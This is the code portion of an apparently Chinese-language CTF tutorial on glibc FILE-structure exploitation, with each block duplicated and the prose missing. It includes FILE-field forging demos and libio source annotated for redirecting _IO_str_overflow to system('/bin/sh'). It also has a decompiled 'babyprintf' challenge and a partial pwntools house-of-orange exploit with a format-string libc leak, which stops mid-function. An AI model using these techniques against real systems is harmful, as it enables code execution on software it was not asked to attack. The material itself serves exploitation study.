// 0x1ec980 为 _IO_2_1_stdin_ 偏移
FILE
*fp = libc_base + 0x1ec980;
fp->_IO_read_end = fp->_IO_read_ptr = 0x0;
fp->_flags &= ~0x4;
fp->_fileno = 0x0;
fp->_IO_buf_base = (
char
*) buf;
fp->_IO_buf_end = (
char
*) &buf[99];
fread
(stack_buf, 1, 3, fp);
printf
(
"buf: %s"
, buf);
printf
(
"stack_buf: %s\n"
, stack_buf);
return
0;
}
#include<stdio.h>
#include<unistd.h>
#define _GNU_SOURCE
typedef
unsigned
long
long
i64;
char
buf[100];
int
main() {
char
stack_buf[100];
i64 libc_base = (i64) &
puts
- 0x84420;
// 0x1ec980 为 _IO_2_1_stdin_ 偏移
FILE
*fp = libc_base + 0x1ec980;
fp->_IO_read_end = fp->_IO_read_ptr = 0x0;
fp->_flags &= ~0x4;
fp->_fileno = 0x0;
fp->_IO_buf_base = (
char
*) buf;
fp->_IO_buf_end = (
char
*) &buf[99];
fread
(stack_buf, 1, 3, fp);
printf
(
"buf: %s"
, buf);
printf
(
"stack_buf: %s\n"
, stack_buf);
return
0;
}
_IO_new_file_xsputn (_IO_FILE *f,
const
void
*data, _IO_size_t n)
{
...
else
if
(f->_IO_write_end > f->_IO_write_ptr)
count = f->_IO_write_end - f->_IO_write_ptr;
if
(count > 0)
{
if
(count > to_do)
count = to_do;
f->_IO_write_ptr = __mempcpy (f->_IO_write_ptr, s, count);
s += count;
to_do -= count;
}
...
}
_IO_new_file_xsputn (_IO_FILE *f,
const
void
*data, _IO_size_t n)
{
...
else
if
(f->_IO_write_end > f->_IO_write_ptr)
count = f->_IO_write_end - f->_IO_write_ptr;
if
(count > 0)
{
if
(count > to_do)
count = to_do;
f->_IO_write_ptr = __mempcpy (f->_IO_write_ptr, s, count);
s += count;
to_do -= count;
}
...
}
#include<stdio.h>
#include<unistd.h>
#define _GNU_SOURCE
typedef
unsigned
long
long
i64;
char
buf[5];
int
main() {
char
*stack_buf =
"abcdefg"
;
i64 libc_base = (i64) &
puts
- 0x84420;
FILE
*fp = (
FILE
*) (libc_base + 0x1ed6a0);
fp->_IO_write_ptr = (
char
*) &buf[0];
fp->_IO_write_end = (
char
*) &buf[4];
fwrite
(stack_buf, 1, 8, fp);
printf
(
"\nbuf: %s\n"
, buf);
return
0;
}
#include<stdio.h>
#include<unistd.h>
#define _GNU_SOURCE
typedef
unsigned
long
long
i64;
char
buf[5];
int
main() {
char
*stack_buf =
"abcdefg"
;
i64 libc_base = (i64) &
puts
- 0x84420;
FILE
*fp = (
FILE
*) (libc_base + 0x1ed6a0);
fp->_IO_write_ptr = (
char
*) &buf[0];
fp->_IO_write_end = (
char
*) &buf[4];
fwrite
(stack_buf, 1, 8, fp);
printf
(
"\nbuf: %s\n"
, buf);
return
0;
}
_IO_size_t
_IO_new_file_xsputn (_IO_FILE *f,
const
void
*data, _IO_size_t n)
{
...
/*
* f->_IO_write_end > f->_IO_write_ptr 就会将待输出的数据写入缓冲区,_IO_overflow 只有在输出缓冲区写满的时候才将其 * 输出。因此为了不造成不必要的麻烦,直接令 f->_IO_write_end = f->_IO_write_ptr 。
*/
else
if
(f->_IO_write_end > f->_IO_write_ptr)
count = f->_IO_write_end - f->_IO_write_ptr;
/* Space available. */
/* Then fill the buffer. */
if
(count > 0)
{
if
(count > to_do)
count = to_do;
f->_IO_write_ptr = __mempcpy (f->_IO_write_ptr, s, count);
s += count;
to_do -= count;
}
...
}
_IO_size_t
_IO_new_file_xsputn (_IO_FILE *f,
const
void
*data, _IO_size_t n)
{
...
/*
* f->_IO_write_end > f->_IO_write_ptr 就会将待输出的数据写入缓冲区,_IO_overflow 只有在输出缓冲区写满的时候才将其 * 输出。因此为了不造成不必要的麻烦,直接令 f->_IO_write_end = f->_IO_write_ptr 。
*/
else
if
(f->_IO_write_end > f->_IO_write_ptr)
count = f->_IO_write_end - f->_IO_write_ptr;
/* Space available. */
/* Then fill the buffer. */
if
(count > 0)
{
if
(count > to_do)
count = to_do;
f->_IO_write_ptr = __mempcpy (f->_IO_write_ptr, s, count);
s += count;
to_do -= count;
}
...
}
int
_IO_new_file_overflow (_IO_FILE *f,
int
ch)
{
// _flags 不能包含 _IO_NO_WRITES,其值为 0x8 。
if
(f->_flags & _IO_NO_WRITES)
/* SET ERROR */
{
f->_flags |= _IO_ERR_SEEN;
__set_errno (EBADF);
return
EOF;
}
//为了进入如下分枝进造成不必要的麻烦, _flags 应包含 _IO_CURRENTLY_PUTTING,其值为 0x0800
if
((f->_flags & _IO_CURRENTLY_PUTTING) == 0 || f->_IO_write_base == NULL)
{
...
// _IO_write_base = read_start,_IO_write_ptr = read_end
if
(ch == EOF)
return
_IO_do_write (f, f->_IO_write_base,f->_IO_write_ptr - f->_IO_write_base);
...
}
}
int
_IO_new_do_write (_IO_FILE *fp,
const
char
*data, _IO_size_t to_do)
{
return
(to_do == 0
|| (_IO_size_t) new_do_write (fp, data, to_do) == to_do) ? 0 : EOF;
}
libc_hidden_ver (_IO_new_do_write, _IO_do_write)
static
_IO_size_t
new_do_write (_IO_FILE *fp,
const
char
*data, _IO_size_t to_do)
{
...
// 构造 _flags 包含 _IO_IS_APPENDING,其值为 0x1000
// 或者 _IO_read_end 等于 _IO_write_base 就可以直接执行到 _IO_SYSWRITE
if
(fp->_flags & _IO_IS_APPENDING)
fp->_offset = _IO_pos_BAD;
else
if
(fp->_IO_read_end != fp->_IO_write_base)
{
_IO_off64_t new_pos = _IO_SYSSEEK (fp, fp->_IO_write_base - fp->_IO_read_end, 1);
if
(new_pos == _IO_pos_BAD)
return
0;
fp->_offset = new_pos;
}
count = _IO_SYSWRITE (fp, data, to_do);
...
}
int
_IO_new_file_overflow (_IO_FILE *f,
int
ch)
{
// _flags 不能包含 _IO_NO_WRITES,其值为 0x8 。
if
(f->_flags & _IO_NO_WRITES)
/* SET ERROR */
{
f->_flags |= _IO_ERR_SEEN;
__set_errno (EBADF);
return
EOF;
}
//为了进入如下分枝进造成不必要的麻烦, _flags 应包含 _IO_CURRENTLY_PUTTING,其值为 0x0800
if
((f->_flags & _IO_CURRENTLY_PUTTING) == 0 || f->_IO_write_base == NULL)
{
...
// _IO_write_base = read_start,_IO_write_ptr = read_end
if
(ch == EOF)
return
_IO_do_write (f, f->_IO_write_base,f->_IO_write_ptr - f->_IO_write_base);
...
}
}
int
_IO_new_do_write (_IO_FILE *fp,
const
char
*data, _IO_size_t to_do)
{
return
(to_do == 0
|| (_IO_size_t) new_do_write (fp, data, to_do) == to_do) ? 0 : EOF;
}
libc_hidden_ver (_IO_new_do_write, _IO_do_write)
static
_IO_size_t
new_do_write (_IO_FILE *fp,
const
char
*data, _IO_size_t to_do)
{
...
// 构造 _flags 包含 _IO_IS_APPENDING,其值为 0x1000
// 或者 _IO_read_end 等于 _IO_write_base 就可以直接执行到 _IO_SYSWRITE
if
(fp->_flags & _IO_IS_APPENDING)
fp->_offset = _IO_pos_BAD;
else
if
(fp->_IO_read_end != fp->_IO_write_base)
{
_IO_off64_t new_pos = _IO_SYSSEEK (fp, fp->_IO_write_base - fp->_IO_read_end, 1);
if
(new_pos == _IO_pos_BAD)
return
0;
fp->_offset = new_pos;
}
count = _IO_SYSWRITE (fp, data, to_do);
...
}
#include<stdio.h>
typedef
unsigned
long
long
i64;
char
buf[] =
"123456"
;
int
main() {
char
stack_buf[] =
"abcdef"
;
i64 libc_base = (i64) &
puts
- 0x84420;
// _IO_2_1_stdout
FILE
*fp = (
FILE
*) (libc_base + 0x1ed6a0);
fp->_flags &= ~0x8;
fp->_flags |= 0x800;
fp->_IO_write_base = (
char
*) buf;
fp->_IO_write_ptr = (
char
*) &buf[6];
fp->_IO_read_end = fp->_IO_write_base;
puts
(stack_buf);
return
0;
}
#include<stdio.h>
typedef
unsigned
long
long
i64;
char
buf[] =
"123456"
;
int
main() {
char
stack_buf[] =
"abcdef"
;
i64 libc_base = (i64) &
puts
- 0x84420;
// _IO_2_1_stdout
FILE
*fp = (
FILE
*) (libc_base + 0x1ed6a0);
fp->_flags &= ~0x8;
fp->_flags |= 0x800;
fp->_IO_write_base = (
char
*) buf;
fp->_IO_write_ptr = (
char
*) &buf[6];
fp->_IO_read_end = fp->_IO_write_base;
puts
(stack_buf);
return
0;
}
struct
_IO_str_fields
{
_IO_alloc_type _allocate_buffer;
_IO_free_type _free_buffer;
};
struct
_IO_streambuf
{
struct
_IO_FILE _f;
const
struct
_IO_jump_t *vtable;
};
typedef
struct
_IO_strfile_
{
struct
_IO_streambuf _sbf;
struct
_IO_str_fields _s;
} _IO_strfile;
struct
_IO_str_fields
{
_IO_alloc_type _allocate_buffer;
_IO_free_type _free_buffer;
};
struct
_IO_streambuf
{
struct
_IO_FILE _f;
const
struct
_IO_jump_t *vtable;
};
typedef
struct
_IO_strfile_
{
struct
_IO_streambuf _sbf;
struct
_IO_str_fields _s;
} _IO_strfile;
const
struct
_IO_jump_t _IO_str_jumps libio_vtable =
{
JUMP_INIT_DUMMY,
JUMP_INIT(finish, _IO_str_finish),
JUMP_INIT(overflow, _IO_str_overflow),
JUMP_INIT(underflow, _IO_str_underflow),
JUMP_INIT(uflow, _IO_default_uflow),
JUMP_INIT(pbackfail, _IO_str_pbackfail),
JUMP_INIT(xsputn, _IO_default_xsputn),
JUMP_INIT(xsgetn, _IO_default_xsgetn),
JUMP_INIT(seekoff, _IO_str_seekoff),
JUMP_INIT(seekpos, _IO_default_seekpos),
JUMP_INIT(
setbuf
, _IO_default_setbuf),
JUMP_INIT(sync, _IO_default_sync),
JUMP_INIT(doallocate, _IO_default_doallocate),
JUMP_INIT(read, _IO_default_read),
JUMP_INIT(write, _IO_default_write),
JUMP_INIT(seek, _IO_default_seek),
JUMP_INIT(close, _IO_default_close),
JUMP_INIT(stat, _IO_default_stat),
JUMP_INIT(showmanyc, _IO_default_showmanyc),
JUMP_INIT(imbue, _IO_default_imbue)
};
const
struct
_IO_jump_t _IO_str_jumps libio_vtable =
{
JUMP_INIT_DUMMY,
JUMP_INIT(finish, _IO_str_finish),
JUMP_INIT(overflow, _IO_str_overflow),
JUMP_INIT(underflow, _IO_str_underflow),
JUMP_INIT(uflow, _IO_default_uflow),
JUMP_INIT(pbackfail, _IO_str_pbackfail),
JUMP_INIT(xsputn, _IO_default_xsputn),
JUMP_INIT(xsgetn, _IO_default_xsgetn),
JUMP_INIT(seekoff, _IO_str_seekoff),
JUMP_INIT(seekpos, _IO_default_seekpos),
JUMP_INIT(
setbuf
, _IO_default_setbuf),
JUMP_INIT(sync, _IO_default_sync),
JUMP_INIT(doallocate, _IO_default_doallocate),
JUMP_INIT(read, _IO_default_read),
JUMP_INIT(write, _IO_default_write),
JUMP_INIT(seek, _IO_default_seek),
JUMP_INIT(close, _IO_default_close),
JUMP_INIT(stat, _IO_default_stat),
JUMP_INIT(showmanyc, _IO_default_showmanyc),
JUMP_INIT(imbue, _IO_default_imbue)
};
/* glibc < 2.28 的实现 */
void
_IO_str_finish (_IO_FILE *fp,
int
dummy)
{
if
(fp->_IO_buf_base && !(fp->_flags & _IO_USER_BUF))
(((_IO_strfile *) fp)->_s._free_buffer) (fp->_IO_buf_base);
fp->_IO_buf_base = NULL;
_IO_default_finish (fp, 0);
}
/* glibc < 2.28 的实现 */
void
_IO_str_finish (_IO_FILE *fp,
int
dummy)
{
if
(fp->_IO_buf_base && !(fp->_flags & _IO_USER_BUF))
(((_IO_strfile *) fp)->_s._free_buffer) (fp->_IO_buf_base);
fp->_IO_buf_base = NULL;
_IO_default_finish (fp, 0);
}
#define _IO_blen(fp) ((fp)->_IO_buf_end - (fp)->_IO_buf_base)
int
_IO_str_overflow (_IO_FILE *fp,
int
c)
{
int
flush_only = c == EOF;
...
// fp->_IO_write_ptr - fp->_IO_write_base >= (_IO_size_t) (_IO_blen (fp) + flush_only)
pos = fp->_IO_write_ptr - fp->_IO_write_base;
if
(pos >= (_IO_size_t) (_IO_blen (fp) + flush_only))
{
// not allowed 绕过 _IO_USER_BUF(0x01)
if
(fp->_flags & _IO_USER_BUF)
return
EOF;
else
{
char
*new_buf;
char
*old_buf = fp->_IO_buf_base;
// fp->_IO_buf_end - fp->_IO_buf_base,这里让 _IO_buf_base = 0;
size_t
old_blen = _IO_blen (fp);
// fp->_IO_buf_end = (bin_sh_addr - 100) / 2
_IO_size_t new_size = 2 * old_blen + 100;
if
(new_size < old_blen)
return
EOF;
// 函数指针调用 fp+0xe8 = system_addr
new_buf= (
char
*) (*((_IO_strfile *) fp)->_s._allocate_buffer) (new_size);
...
}
...
}
...
}
#define _IO_blen(fp) ((fp)->_IO_buf_end - (fp)->_IO_buf_base)
int
_IO_str_overflow (_IO_FILE *fp,
int
c)
{
int
flush_only = c == EOF;
...
// fp->_IO_write_ptr - fp->_IO_write_base >= (_IO_size_t) (_IO_blen (fp) + flush_only)
pos = fp->_IO_write_ptr - fp->_IO_write_base;
if
(pos >= (_IO_size_t) (_IO_blen (fp) + flush_only))
{
// not allowed 绕过 _IO_USER_BUF(0x01)
if
(fp->_flags & _IO_USER_BUF)
return
EOF;
else
{
char
*new_buf;
char
*old_buf = fp->_IO_buf_base;
// fp->_IO_buf_end - fp->_IO_buf_base,这里让 _IO_buf_base = 0;
size_t
old_blen = _IO_blen (fp);
// fp->_IO_buf_end = (bin_sh_addr - 100) / 2
_IO_size_t new_size = 2 * old_blen + 100;
if
(new_size < old_blen)
return
EOF;
// 函数指针调用 fp+0xe8 = system_addr
new_buf= (
char
*) (*((_IO_strfile *) fp)->_s._allocate_buffer) (new_size);
...
}
...
}
...
}
const
struct
_IO_jump_t _IO_wstr_jumps libio_vtable =
{
JUMP_INIT_DUMMY,
JUMP_INIT(finish, _IO_wstr_finish),
JUMP_INIT(overflow, (_IO_overflow_t) _IO_wstr_overflow),
JUMP_INIT(underflow, (_IO_underflow_t) _IO_wstr_underflow),
JUMP_INIT(uflow, (_IO_underflow_t) _IO_wdefault_uflow),
JUMP_INIT(pbackfail, (_IO_pbackfail_t) _IO_wstr_pbackfail),
JUMP_INIT(xsputn, _IO_wdefault_xsputn),
JUMP_INIT(xsgetn, _IO_wdefault_xsgetn),
JUMP_INIT(seekoff, _IO_wstr_seekoff),
JUMP_INIT(seekpos, _IO_default_seekpos),
JUMP_INIT(
setbuf
, _IO_default_setbuf),
JUMP_INIT(sync, _IO_default_sync),
JUMP_INIT(doallocate, _IO_wdefault_doallocate),
JUMP_INIT(read, _IO_default_read),
JUMP_INIT(write, _IO_default_write),
JUMP_INIT(seek, _IO_default_seek),
JUMP_INIT(close, _IO_default_close),
JUMP_INIT(stat, _IO_default_stat),
JUMP_INIT(showmanyc, _IO_default_showmanyc),
JUMP_INIT(imbue, _IO_default_imbue)
};
const
struct
_IO_jump_t _IO_wstr_jumps libio_vtable =
{
JUMP_INIT_DUMMY,
JUMP_INIT(finish, _IO_wstr_finish),
JUMP_INIT(overflow, (_IO_overflow_t) _IO_wstr_overflow),
JUMP_INIT(underflow, (_IO_underflow_t) _IO_wstr_underflow),
JUMP_INIT(uflow, (_IO_underflow_t) _IO_wdefault_uflow),
JUMP_INIT(pbackfail, (_IO_pbackfail_t) _IO_wstr_pbackfail),
JUMP_INIT(xsputn, _IO_wdefault_xsputn),
JUMP_INIT(xsgetn, _IO_wdefault_xsgetn),
JUMP_INIT(seekoff, _IO_wstr_seekoff),
JUMP_INIT(seekpos, _IO_default_seekpos),
JUMP_INIT(
setbuf
, _IO_default_setbuf),
JUMP_INIT(sync, _IO_default_sync),
JUMP_INIT(doallocate, _IO_wdefault_doallocate),
JUMP_INIT(read, _IO_default_read),
JUMP_INIT(write, _IO_default_write),
JUMP_INIT(seek, _IO_default_seek),
JUMP_INIT(close, _IO_default_close),
JUMP_INIT(stat, _IO_default_stat),
JUMP_INIT(showmanyc, _IO_default_showmanyc),
JUMP_INIT(imbue, _IO_default_imbue)
};
_IO_wint_t
_IO_wstr_overflow (_IO_FILE *fp, _IO_wint_t c)
{
int
flush_only = c == WEOF;
_IO_size_t pos;
if
(fp->_flags & _IO_NO_WRITES)
return
flush_only ? 0 : WEOF;
if
((fp->_flags & _IO_TIED_PUT_GET) && !(fp->_flags & _IO_CURRENTLY_PUTTING))
{
fp->_flags |= _IO_CURRENTLY_PUTTING;
fp->_wide_data->_IO_write_ptr = fp->_wide_data->_IO_read_ptr;
fp->_wide_data->_IO_read_ptr = fp->_wide_data->_IO_read_end;
}
pos = fp->_wide_data->_IO_write_ptr - fp->_wide_data->_IO_write_base;
if
(pos >= (_IO_size_t) (_IO_wblen (fp) + flush_only))
{
if
(fp->_flags2 & _IO_FLAGS2_USER_WBUF)
/* not allowed to enlarge */
return
WEOF;
else
{
wchar_t
*new_buf;
wchar_t
*old_buf = fp->_wide_data->_IO_buf_base;
size_t
old_wblen = _IO_wblen (fp);
_IO_size_t new_size = 2 * old_wblen + 100;
if
(__glibc_unlikely (new_size < old_wblen)
|| __glibc_unlikely (new_size > SIZE_MAX /
sizeof
(
wchar_t
)))
return
EOF;
new_buf = (
wchar_t
*) (*((_IO_strfile *) fp)->_s._allocate_buffer) (new_size *
sizeof
(
wchar_t
));
if
(new_buf == NULL)
{
/* __ferror(fp) = 1; */
return
WEOF;
}
if
(old_buf)
{
__wmemcpy (new_buf, old_buf, old_wblen);
(*((_IO_strfile *) fp)->_s._free_buffer) (old_buf);
/* Make sure _IO_setb won't try to delete _IO_buf_base. */
fp->_wide_data->_IO_buf_base = NULL;
}
__wmemset (new_buf + old_wblen, L
'\0'
, new_size - old_wblen);
_IO_wsetb (fp, new_buf, new_buf + new_size, 1);
fp->_wide_data->_IO_read_base =
new_buf + (fp->_wide_data->_IO_read_base - old_buf);
fp->_wide_data->_IO_read_ptr =
new_buf + (fp->_wide_data->_IO_read_ptr - old_buf);
fp->_wide_data->_IO_read_end =
new_buf + (fp->_wide_data->_IO_read_end - old_buf);
fp->_wide_data->_IO_write_ptr =
new_buf + (fp->_wide_data->_IO_write_ptr - old_buf);
fp->_wide_data->_IO_write_base = new_buf;
fp->_wide_data->_IO_write_end = fp->_wide_data->_IO_buf_end;
}
}
if
(!flush_only)
*fp->_wide_data->_IO_write_ptr++ = c;
if
(fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_read_end)
fp->_wide_data->_IO_read_end = fp->_wide_data->_IO_write_ptr;
return
c;
}
_IO_wint_t
_IO_wstr_overflow (_IO_FILE *fp, _IO_wint_t c)
{
int
flush_only = c == WEOF;
_IO_size_t pos;
if
(fp->_flags & _IO_NO_WRITES)
return
flush_only ? 0 : WEOF;
if
((fp->_flags & _IO_TIED_PUT_GET) && !(fp->_flags & _IO_CURRENTLY_PUTTING))
{
fp->_flags |= _IO_CURRENTLY_PUTTING;
fp->_wide_data->_IO_write_ptr = fp->_wide_data->_IO_read_ptr;
fp->_wide_data->_IO_read_ptr = fp->_wide_data->_IO_read_end;
}
pos = fp->_wide_data->_IO_write_ptr - fp->_wide_data->_IO_write_base;
if
(pos >= (_IO_size_t) (_IO_wblen (fp) + flush_only))
{
if
(fp->_flags2 & _IO_FLAGS2_USER_WBUF)
/* not allowed to enlarge */
return
WEOF;
else
{
wchar_t
*new_buf;
wchar_t
*old_buf = fp->_wide_data->_IO_buf_base;
size_t
old_wblen = _IO_wblen (fp);
_IO_size_t new_size = 2 * old_wblen + 100;
if
(__glibc_unlikely (new_size < old_wblen)
|| __glibc_unlikely (new_size > SIZE_MAX /
sizeof
(
wchar_t
)))
return
EOF;
new_buf = (
wchar_t
*) (*((_IO_strfile *) fp)->_s._allocate_buffer) (new_size *
sizeof
(
wchar_t
));
if
(new_buf == NULL)
{
/* __ferror(fp) = 1; */
return
WEOF;
}
if
(old_buf)
{
__wmemcpy (new_buf, old_buf, old_wblen);
(*((_IO_strfile *) fp)->_s._free_buffer) (old_buf);
/* Make sure _IO_setb won't try to delete _IO_buf_base. */
fp->_wide_data->_IO_buf_base = NULL;
}
__wmemset (new_buf + old_wblen, L
'\0'
, new_size - old_wblen);
_IO_wsetb (fp, new_buf, new_buf + new_size, 1);
fp->_wide_data->_IO_read_base =
new_buf + (fp->_wide_data->_IO_read_base - old_buf);
fp->_wide_data->_IO_read_ptr =
new_buf + (fp->_wide_data->_IO_read_ptr - old_buf);
fp->_wide_data->_IO_read_end =
new_buf + (fp->_wide_data->_IO_read_end - old_buf);
fp->_wide_data->_IO_write_ptr =
new_buf + (fp->_wide_data->_IO_write_ptr - old_buf);
fp->_wide_data->_IO_write_base = new_buf;
fp->_wide_data->_IO_write_end = fp->_wide_data->_IO_buf_end;
}
}
if
(!flush_only)
*fp->_wide_data->_IO_write_ptr++ = c;
if
(fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_read_end)
fp->_wide_data->_IO_read_end = fp->_wide_data->_IO_write_ptr;
return
c;
}
void
_IO_wstr_finish (_IO_FILE *fp,
int
dummy)
{
if
(fp->_wide_data->_IO_buf_base && !(fp->_flags2 & _IO_FLAGS2_USER_WBUF))
(((_IO_strfile *) fp)->_s._free_buffer) (fp->_wide_data->_IO_buf_base);
fp->_wide_data->_IO_buf_base = NULL;
_IO_wdefault_finish (fp, 0);
}
void
_IO_wstr_finish (_IO_FILE *fp,
int
dummy)
{
if
(fp->_wide_data->_IO_buf_base && !(fp->_flags2 & _IO_FLAGS2_USER_WBUF))
(((_IO_strfile *) fp)->_s._free_buffer) (fp->_wide_data->_IO_buf_base);
fp->_wide_data->_IO_buf_base = NULL;
_IO_wdefault_finish (fp, 0);
}
void
_IO_str_finish (
FILE
*fp,
int
dummy)
{
if
(fp->_IO_buf_base && !(fp->_flags & _IO_USER_BUF))
free
(fp->_IO_buf_base);
fp->_IO_buf_base = NULL;
_IO_default_finish (fp, 0);
}
void
_IO_wstr_finish (
FILE
*fp,
int
dummy)
{
if
(fp->_wide_data->_IO_buf_base && !(fp->_flags2 & _IO_FLAGS2_USER_WBUF))
free
(fp->_wide_data->_IO_buf_base);
fp->_wide_data->_IO_buf_base = NULL;
_IO_wdefault_finish (fp, 0);
}
void
_IO_str_finish (
FILE
*fp,
int
dummy)
{
if
(fp->_IO_buf_base && !(fp->_flags & _IO_USER_BUF))
free
(fp->_IO_buf_base);
fp->_IO_buf_base = NULL;
_IO_default_finish (fp, 0);
}
void
_IO_wstr_finish (
FILE
*fp,
int
dummy)
{
if
(fp->_wide_data->_IO_buf_base && !(fp->_flags2 & _IO_FLAGS2_USER_WBUF))
free
(fp->_wide_data->_IO_buf_base);
fp->_wide_data->_IO_buf_base = NULL;
_IO_wdefault_finish (fp, 0);
}
int
_IO_str_overflow (
FILE
*fp,
int
c)
{
int
flush_only = c == EOF;
...
pos = fp->_IO_write_ptr - fp->_IO_write_base;
if
(pos >= (
size_t
) (_IO_blen (fp) + flush_only))
{
if
(fp->_flags & _IO_USER_BUF)
/* not allowed to enlarge */
return
EOF;
else
{
char
*new_buf;
char
*old_buf = fp->_IO_buf_base;
size_t
old_blen = _IO_blen (fp);
size_t
new_size = 2 * old_blen + 100;
if
(new_size < old_blen)
return
EOF;
new_buf =
malloc
(new_size);
...
}
wint_t
_IO_wstr_overflow (
FILE
*fp,
wint_t
c)
{
int
flush_only = c == WEOF;
...
pos = fp->_wide_data->_IO_write_ptr - fp->_wide_data->_IO_write_base;
if
(pos >= (
size_t
) (_IO_wblen (fp) + flush_only))
{
if
(fp->_flags2 & _IO_FLAGS2_USER_WBUF)
/* not allowed to enlarge */
return
WEOF;
else
{
wchar_t
*new_buf;
wchar_t
*old_buf = fp->_wide_data->_IO_buf_base;
size_t
old_wblen = _IO_wblen (fp);
size_t
new_size = 2 * old_wblen + 100;
if
(__glibc_unlikely (new_size < old_wblen)
|| __glibc_unlikely (new_size > SIZE_MAX /
sizeof
(
wchar_t
)))
return
EOF;
new_buf =
malloc
(new_size *
sizeof
(
wchar_t
));
...
}
int
_IO_str_overflow (
FILE
*fp,
int
c)
{
int
flush_only = c == EOF;
...
pos = fp->_IO_write_ptr - fp->_IO_write_base;
if
(pos >= (
size_t
) (_IO_blen (fp) + flush_only))
{
if
(fp->_flags & _IO_USER_BUF)
/* not allowed to enlarge */
return
EOF;
else
{
char
*new_buf;
char
*old_buf = fp->_IO_buf_base;
size_t
old_blen = _IO_blen (fp);
size_t
new_size = 2 * old_blen + 100;
if
(new_size < old_blen)
return
EOF;
new_buf =
malloc
(new_size);
...
}
wint_t
_IO_wstr_overflow (
FILE
*fp,
wint_t
c)
{
int
flush_only = c == WEOF;
...
pos = fp->_wide_data->_IO_write_ptr - fp->_wide_data->_IO_write_base;
if
(pos >= (
size_t
) (_IO_wblen (fp) + flush_only))
{
if
(fp->_flags2 & _IO_FLAGS2_USER_WBUF)
/* not allowed to enlarge */
return
WEOF;
else
{
wchar_t
*new_buf;
wchar_t
*old_buf = fp->_wide_data->_IO_buf_base;
size_t
old_wblen = _IO_wblen (fp);
size_t
new_size = 2 * old_wblen + 100;
if
(__glibc_unlikely (new_size < old_wblen)
|| __glibc_unlikely (new_size > SIZE_MAX /
sizeof
(
wchar_t
)))
return
EOF;
new_buf =
malloc
(new_size *
sizeof
(
wchar_t
));
...
}
void
__fastcall __noreturn main(
__int64
a1,
char
**a2,
char
**a3)
{
void
*v3;
// rbx
unsigned
int
v4;
// eax
Init(a1, a2, a3);
while
( 1 )
{
__printf_chk(1LL,
"size: "
);
v4 = read_n();
if
( v4 > 0x1000 )
break
;
v3 =
malloc
(v4);
__printf_chk(1LL,
"string: "
);
gets
(v3);
__printf_chk(1LL,
"result: "
);
__printf_chk(1LL, v3);
}
puts
(
"too long"
);
exit
(1);
}
unsigned
__int64
read_n()
{
__int64
v0;
// rbx
__int64
v1;
// rbp
char
v2;
// al
char
v4[24];
// [rsp+0h] [rbp-38h] BYREF
unsigned
__int64
v5;
// [rsp+18h] [rbp-20h]
v0 = 0LL;
v5 = __readfsqword(0x28u);
while
( 1 )
{
v1 = (
int
)v0;
v2 = _IO_getc(stdin);
v4[v0] = v2;
if
( v2 ==
'\n'
)
break
;
if
( ++v0 == 9 )
{
if
( v4[9] !=
'\n'
)
return
strtoul
(v4, 0LL, 0);
v1 = 9LL;
break
;
}
}
v4[v1] = 0;
return
strtoul
(v4, 0LL, 0);
}
void
__fastcall __noreturn main(
__int64
a1,
char
**a2,
char
**a3)
{
void
*v3;
// rbx
unsigned
int
v4;
// eax
Init(a1, a2, a3);
while
( 1 )
{
__printf_chk(1LL,
"size: "
);
v4 = read_n();
if
( v4 > 0x1000 )
break
;
v3 =
malloc
(v4);
__printf_chk(1LL,
"string: "
);
gets
(v3);
__printf_chk(1LL,
"result: "
);
__printf_chk(1LL, v3);
}
puts
(
"too long"
);
exit
(1);
}
unsigned
__int64
read_n()
{
__int64
v0;
// rbx
__int64
v1;
// rbp
char
v2;
// al
char
v4[24];
// [rsp+0h] [rbp-38h] BYREF
unsigned
__int64
v5;
// [rsp+18h] [rbp-20h]
v0 = 0LL;
v5 = __readfsqword(0x28u);
while
( 1 )
{
v1 = (
int
)v0;
v2 = _IO_getc(stdin);
v4[v0] = v2;
if
( v2 ==
'\n'
)
break
;
if
( ++v0 == 9 )
{
if
( v4[9] !=
'\n'
)
return
strtoul
(v4, 0LL, 0);
v1 = 9LL;
break
;
}
}
v4[v1] = 0;
return
strtoul
(v4, 0LL, 0);
}
from
pwn
import
*
context.log_level
=
'debug'
context.arch
=
'amd64'
context.terminal
=
[
'tmux'
,
'splitw'
,
'-h'
]
is_debug
=
True
is_local
=
True
def
connect():
global
io, elf, libc
if
is_local:
io
=
process(
'./babyprintf'
)
else
:
io
=
remote(
'192.168.152.130'
,
10001
)
elf
=
ELF(
"./babyprintf"
)
libc
=
elf.libc
def
debug(gdbscript
=
""):
if
is_debug:
gdb.attach(io, gdbscript
=
gdbscript)
pause()
else
:
pass
def
prf(size, string):
io.sendlineafter(b
"size: "
,
str
(size).encode())
io.sendlineafter(b
"string: "
, string)
from
pwn
import
*
context.log_level
=
'debug'
context.arch
=
'amd64'
context.terminal
=
[
'tmux'
,
'splitw'
,
'-h'
]
is_debug
=
True
is_local
=
True
def
connect():
global
io, elf, libc
if
is_local:
io
=
process(
'./babyprintf'
)
else
:
io
=
remote(
'192.168.152.130'
,
10001
)
elf
=
ELF(
"./babyprintf"
)
libc
=
elf.libc
def
debug(gdbscript
=
""):
if
is_debug:
gdb.attach(io, gdbscript
=
gdbscript)
pause()
else
:
pass
def
prf(size, string):
io.sendlineafter(b
"size: "
,
str
(size).encode())
io.sendlineafter(b
"string: "
, string)
def
leak_libc():
global
libc_base
payload
=
b
"A"
*
16
payload
+
=
p64(
0
)
+
p64(
0xfe1
)
# top chunk header
prf(
16
, payload)
#gdb.attach(io, 'b *0x400810')
prf(
0x1000
, b
'%p%p%p%p%p%pA'
)
# _int_free in sysmalloc
#pause()
libc_start_main
=
int
(io.recvuntil(b
'A'
, drop
=
True
)[
-
12
:],
16
)
-
241
libc_base
=
libc_start_main
-
libc.symbols[
'__libc_start_main'
]
log.info(
"libc_base address: 0x%x"
%
libc_base)
def
leak_libc():
global
libc_base
payload
=
b
"A"
*
16
payload
+
=
p64(
0
)
+
p64(
0xfe1
)
# top chunk header
prf(
16
, payload)
#gdb.attach(io, 'b *0x400810')
prf(
0x1000
, b
'%p%p%p%p%p%pA'
)
# _int_free in sysmalloc
#pause()
libc_start_main
=
int
(io.recvuntil(b
'A'
, drop
=
True
)[
-
12
:],
16
)
-
241
libc_base
=
libc_start_main
-
libc.symbols[
'__libc_start_main'
]
log.info(
"libc_base address: 0x%x"
%
libc_base)
def
house_of_orange():
io_list_all
=
libc_base
+
libc.symbols[
'_IO_list_all'
]
system_addr
=
libc_base
+
libc.symbols[
'system'
]
bin_sh_addr
=
libc_base
+
next
(libc.search(b
'/bin/sh\x00'
))
